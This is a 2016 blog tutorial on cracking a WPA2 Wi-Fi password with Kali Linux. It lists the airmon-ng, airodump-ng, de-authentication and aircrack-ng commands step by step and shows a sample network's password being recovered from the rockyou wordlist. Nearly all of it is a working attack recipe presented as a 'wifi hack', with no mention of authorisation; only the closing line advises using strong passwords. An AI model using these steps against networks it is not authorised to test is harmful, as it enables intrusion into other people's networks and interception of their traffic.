Tuesday, November 22, 2016

How to find wifi password | Wifi password finder

we open a terminal window in Kali Linux.  First we verify interfaces.  Enter “iwconfig” and verify you have wlan0 and mon0 interfaces as in the screenshot:
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Enter “airmon-ng” and verify your results are similar to screenshot below:
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Now we start the wireless monitoring function with “Airmon-ng start wlan0”:
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Note it says monitor mode enabled above, so we know the monitoring interface is ready to go.
Next we use “airodump-ng wlan0mon” to locate the network we want to crack:
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Let it run a couple of minutes, then control C to stop.  The network we want to crack is above, the SSID is NETGEAR94 (NOT NETGEAR84).  We now have the SSID, BSSID and Channel that we need.
Next we use “Airodump-ng –w somefile –c 11 –bssid 80:37:73:A7:AA:08 mon0” to collect data needed for the crack.
“ –w somefile” is the file that the data will be dumped to, you can use any filename you like.
“–c 11” means Channel 11, the channel which the SSID using:
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 Above it is running, we leave it running a few minutes while as it collects data.
To work properly, Airodump-ng above must capture password data.  On a busy Wi-Fi network this is no problem, as password data is sent through the air on a regular basis.  

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If the Wi-Fi network is not busy, we can (optionally) force password data to be sent using a de-auth.  This is done in a new terminal window, while Airodump-ng is still running, as in the screenshot below:
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Let it run a couple of minutes, then Control C to stop.
Close above Window, then go back to original window. Now stop the Airodump-ng  with Control C. Next type “ls”, to verify we have the file we need:
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Next we use “Aircrack-ng somefile-01.cap –w usr/share/wordlists/rockyou.txt”.
Where “somefile-01.cap” is the capture file.
Where “–w usr/share/wordlists/rockyou.txt” is the path to the dictionary password file rockyou.txt.
rockyou.txt is included with the Kali Linux distro, but it comes zipped so you will need to unzip it, with gunzip.  Other dictionary password files are available online, and may be used in place of rockyou.txt.  In the screenshot,  it is comparing the dump in somefile to the dictionary in rockyou.txt, which can take a while:
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After a while, the key is found. We can log into the network using the password mongoose.  Success, we have completed the wifi hack!!!:
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If you take nothing else away from this article, remember this.  Choose a strong password to secure your Wi-Fi network with WPA2, or else you risk the wifi password being hacked.  And strong passwords should not contain dictionary words.